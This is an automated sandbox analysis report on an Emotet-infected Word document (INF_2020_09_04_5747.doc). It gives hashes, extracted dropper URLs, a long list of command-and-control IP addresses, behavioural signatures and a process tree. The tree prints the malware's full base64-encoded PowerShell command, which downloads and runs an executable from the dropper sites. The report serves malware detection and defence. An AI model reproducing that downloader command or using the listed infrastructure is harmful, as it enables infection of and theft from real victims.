emotet | bb45d855066ff6017d80b8b4a36bacb4eb9b6345f1b41ba8301a7588d6532aba

Analysis

max time kernel
136s
max time network
133s
platform
windows10_x64
resource
win10
submitted
04/09/2020, 08:37

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General

Target
INF_2020_09_04_5747.doc
Size 181KB
Sample200904-vt2zeydvbs
SHA256 bb45d855066ff6017d80b8b4a36bacb4eb9b6345f1b41ba8301a7588d6532aba
MD5 c7945a4b4def971eefa9cba4197644de
SHA1 904385c4008e478b5707030ab84645e7b5436ccd
SHA512 a2fb2ef17faedf7ed8123d3bca288d6b577416c2e4e46c9d993fa7c312c6ffc0f6843b709a64952117187e11ea1e782f2b47420c1c491c48b33efbfbb73ed3e3
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://sociallistsystem.com/wp-content/334/
exe.dropper
http://reymo.com/wp-content/P1/
exe.dropper
http://rejasan.com/icon/ggp/
exe.dropper
http://thammynhp.com/wp-includes/fiP/
exe.dropper
http://refinanz.org/bachelorme_de/6i/
exe.dropper
https://bewellstyle.com/wp-content/2Mi/
exe.dropper
http://tourgunungkidul.com/js/Mz/

Extracted

Family

emotet

185.215.227.107:443
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
172.104.169.32:8080
68.183.190.199:8080
187.162.248.237:80
82.76.111.249:443
184.66.18.83:80
190.6.193.152:8080
77.238.212.227:80
199.203.62.165:80
188.2.217.94:80
185.94.252.12:80
178.250.54.208:8080
206.15.68.237:443
65.36.62.20:80
216.47.196.104:80
219.92.8.17:8080
213.60.96.117:80
77.55.211.77:8080
72.167.223.217:8080
177.74.228.34:80
186.103.141.250:443
190.163.31.26:80
85.109.159.61:443
68.183.170.114:8080
213.197.182.158:8080
45.161.242.102:80
71.197.211.156:80
104.131.103.37:8080
94.176.234.118:443
190.2.31.172:80
5.196.35.138:7080
190.195.129.227:8090
67.247.242.247:80
64.201.88.132:80
152.169.22.67:80
24.135.1.177:80
191.182.6.118:80
51.159.23.217:443
110.142.219.51:80
68.69.155.181:80
82.196.15.205:8080
77.90.136.129:8080
181.129.96.162:8080
45.33.77.42:8080
95.9.180.128:80
192.241.146.84:8080
91.219.169.180:80
188.135.15.49:80
212.71.237.140:8080
98.13.75.196:80
72.47.248.48:7080
209.236.123.42:8080
217.13.106.14:8080
219.92.13.25:80
177.72.13.80:80
12.162.84.2:8080
177.73.0.98:443
50.121.220.50:80
185.178.10.77:80
216.10.40.16:80
61.92.159.208:8080
170.81.48.2:80
45.16.226.117:443
185.94.252.27:443
217.199.160.224:7080
178.79.163.131:8080
186.70.127.199:8090
91.121.54.71:8080
190.190.148.27:8080
190.24.243.186:80
138.97.60.141:7080
104.131.41.185:8080
73.213.208.163:80
181.30.61.163:443
103.106.236.83:8080
192.241.143.52:8080
87.106.46.107:8080
2.47.112.152:80
45.173.88.33:80
204.225.249.100:7080
111.67.77.202:8080
70.32.115.157:8080
111.67.12.221:8080
70.32.84.74:8080
58.171.153.81:80
190.147.137.153:443
190.115.18.139:8080
83.169.21.32:7080
5.189.178.202:8080
50.28.51.143:8080
137.74.106.111:7080
189.2.177.210:443
72.135.200.124:80
51.255.165.160:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2836	1432	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	2836	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3668	Tku6ztl.exe
1312	uReFSv1.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Networking.Connectivity\uReFSv1.exe	Tku6ztl.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 33ea9c139682d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3836	WINWORD.EXE
3836	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2836	powershell.exe
2836	powershell.exe
2836	powershell.exe
1312	uReFSv1.exe
1312	uReFSv1.exe
1312	uReFSv1.exe
1312	uReFSv1.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	900	svchost.exe
Token: SeCreatePagefilePrivilege	900	svchost.exe
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3836	WINWORD.EXE
3836	WINWORD.EXE
3836	WINWORD.EXE
3836	WINWORD.EXE
3836	WINWORD.EXE
3836	WINWORD.EXE
3836	WINWORD.EXE
3836	WINWORD.EXE
3836	WINWORD.EXE
3668	Tku6ztl.exe
3668	Tku6ztl.exe
1312	uReFSv1.exe
1312	uReFSv1.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 3668	2836	powershell.exe	79
PID 2836 wrote to memory of 3668	2836	powershell.exe	79
PID 2836 wrote to memory of 3668	2836	powershell.exe	79
PID 3668 wrote to memory of 1312	3668	Tku6ztl.exe	80
PID 3668 wrote to memory of 1312	3668	Tku6ztl.exe	80
PID 3668 wrote to memory of 1312	3668	Tku6ztl.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INF_2020_09_04_5747.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABRAHQAdQA4AHEAaQBiAD0AKAAoACcATgAnACsAJwB5AGkAJwApACsAJwA5ADgAJwArACcAcAAzACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAUgBwAFIATwBmAGkAbABlAFwATwB1AGkANAA4ADgAXwBcAEQANABHAGUAMQBsAHkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBJAHQAYAB5AGAAUAByAE8AYABUAG8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAMQAnACsAKAAnADEALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQApADsAJABWAHgAZgBlAGkAdgAxACAAPQAgACgAJwBUACcAKwAoACcAawB1ADYAegAnACsAJwB0ACcAKQArACcAbAAnACkAOwAkAE4AbwBoAGgAbgA0ADMAPQAoACgAJwBaAHMAJwArACcAcwAnACkAKwAoACcAMQBiACcAKwAnADUAdgAnACkAKQA7ACQAWgB0ADIAbABfAHUAOQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBUAEgAJwArACgAJwAzAE8AJwArACcAdQAnACkAKwAnAGkAJwArACcANAA4ACcAKwAnADgAJwArACgAJwBfACcAKwAnAFQASAAnACkAKwAoACcAMwAnACsAJwBEADQAZwBlADEAbAAnACsAJwB5AFQASAAnACsAJwAzACcAKQApAC4AIgBSAEUAcABgAEwAYABBAEMARQAiACgAKABbAEMASABhAFIAXQA4ADQAKwBbAEMASABhAFIAXQA3ADIAKwBbAEMASABhAFIAXQA1ADEAKQAsACcAXAAnACkAKQArACQAVgB4AGYAZQBpAHYAMQArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAE4AaABqAGoAeQBjAHIAPQAoACcAQQAnACsAKAAnADIAJwArACcAbwBxADMANQA5ACcAKQApADsAJABPADkAMQB0AHEAaAB1AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABQAHEAZgBjAHYAYgB0AD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBzAG8AYwBpAGEAbABsAGkAcwB0AHMAeQBzACcAKwAnAHQAZQAnACsAJwBtAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AdwAnACkAKwAoACcAcAAtAGMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGUAbgB0AC8AMwAnACsAJwAzACcAKQArACgAJwA0AC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAnACkAKwAnAC8AcgAnACsAKAAnAGUAeQBtACcAKwAnAG8ALgAnACsAJwBjAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBjACcAKwAnAG8AbgB0AGUAJwApACsAJwBuACcAKwAoACcAdAAnACsAJwAvAFAAMQAvACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHIAZQBqACcAKwAnAGEAcwAnACkAKwAoACcAYQBuACcAKwAnAC4AYwBvAG0ALwBpACcAKQArACgAJwBjAG8AbgAvACcAKwAnAGcAJwArACcAZwBwAC8AJwApACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAJwAvAC8AdAAnACsAJwBoACcAKwAnAGEAbQBtACcAKQArACcAeQBuACcAKwAoACcAaABwACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGkAbgAnACsAKAAnAGMAbAB1AGQAZQBzAC8AJwArACcAZgBpACcAKwAnAFAALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAHIAJwApACsAKAAnAGUAZgAnACsAJwBpAG4AYQAnACkAKwAoACcAbgB6AC4AbwAnACsAJwByAGcAJwApACsAKAAnAC8AYgBhACcAKwAnAGMAaABlAGwAbwAnACsAJwByAG0AZQAnACkAKwAnAF8AJwArACcAZAAnACsAKAAnAGUAJwArACcALwA2ACcAKQArACgAJwBpAC8AKgBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoAJwArACcALwAvAGIAJwApACsAKAAnAGUAdwAnACsAJwBlAGwAJwApACsAKAAnAGwAJwArACcAcwB0AHkAJwApACsAKAAnAGwAJwArACcAZQAuACcAKwAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYwBvACcAKQArACgAJwBuAHQAZQBuACcAKwAnAHQALwAnACkAKwAoACcAMgBNAGkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoALwAnACkAKwAoACcALwB0ACcAKwAnAG8AdQByAGcAJwApACsAJwB1AG4AJwArACgAJwB1ACcAKwAnAG4AZwBrACcAKQArACgAJwBpAGQAdQBsAC4AJwArACcAYwBvAG0AJwArACcALwAnACkAKwAoACcAagBzAC8ATQAnACsAJwB6AC8AJwApACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgByAG8AYwBiADYAeQA9ACgAJwBYADEAJwArACgAJwAwACcAKwAnAG8AOAAnACkAKwAnAGMAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAHIAbABlAHAAOQBsACAAaQBuACAAJABQAHEAZgBjAHYAYgB0ACkAewB0AHIAeQB7ACQATwA5ADEAdABxAGgAdQAuACIAZABvAFcAbgBMAE8AQQBgAGQAYABGAGkAYABsAEUAIgAoACQAQQByAGwAZQBwADkAbAAsACAAJABaAHQAMgBsAF8AdQA5ACkAOwAkAFMAaABtAHMAagBiAHAAPQAoACgAJwBYAHIAJwArACcAaAAnACkAKwAnAHgAcAAnACsAJwBtADIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFoAdAAyAGwAXwB1ADkAKQAuACIATABFAGAATgBHAFQAaAAiACAALQBnAGUAIAAyADMAMAAyADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAWgB0ADIAbABfAHUAOQApADsAJABLAHIAdQBwAHMAawB5AD0AKAAnAE4AJwArACgAJwBuADAAJwArACcAZABjADUAJwArACcAOQAnACkAKQA7AGIAcgBlAGEAawA7ACQATAAxAHUAcgBxADYAZwA9ACgAJwBYACcAKwAnAGcAdgAnACsAKAAnAHkAJwArACcAYgBsAHUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFYANgBzAHcANgBzAGgAPQAoACgAJwBSADAAJwArACcAMQB6AHEAbgAnACkAKwAnADUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Users\Admin\Oui488_\D4ge1ly\Tku6ztl.exe
  "C:\Users\Admin\Oui488_\D4ge1ly\Tku6ztl.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\SysWOW64\Windows.Networking.Connectivity\uReFSv1.exe
    "C:\Windows\SysWOW64\Windows.Networking.Connectivity\uReFSv1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1312-20-0x0000000002080000-0x000000000208D000-memory.dmp

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memory/1312-21-0x00000000021A0000-0x00000000021AC000-memory.dmp

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memory/2836-10-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

Download

memory/2836-11-0x000001F819740000-0x000001F819741000-memory.dmp

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memory/2836-12-0x000001F819A70000-0x000001F819A71000-memory.dmp

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memory/3668-17-0x00000000022E0000-0x00000000022EC000-memory.dmp

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memory/3668-16-0x00000000022D0000-0x00000000022DD000-memory.dmp

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memory/3836-0-0x00000264CE9C0000-0x00000264CF086000-memory.dmp

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memory/3836-9-0x00000264D97A6000-0x00000264D97AB000-memory.dmp

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memory/3836-8-0x00000264D97AD000-0x00000264D97B2000-memory.dmp

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memory/3836-6-0x00000264D97AB000-0x00000264D97AD000-memory.dmp

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memory/3836-5-0x00000264D7306000-0x00000264D7317000-memory.dmp

Download

memory/3836-7-0x00000264D97AB000-0x00000264D97AD000-memory.dmp

Download

memory/3836-4-0x00000264D95D2000-0x00000264D95D7000-memory.dmp

Download

memory/3836-3-0x00000264D95CD000-0x00000264D95D2000-memory.dmp

Download

memory/3836-2-0x00000264D95CD000-0x00000264D95D2000-memory.dmp

Download

memory/3836-1-0x00000264D95D2000-0x00000264D95D7000-memory.dmp

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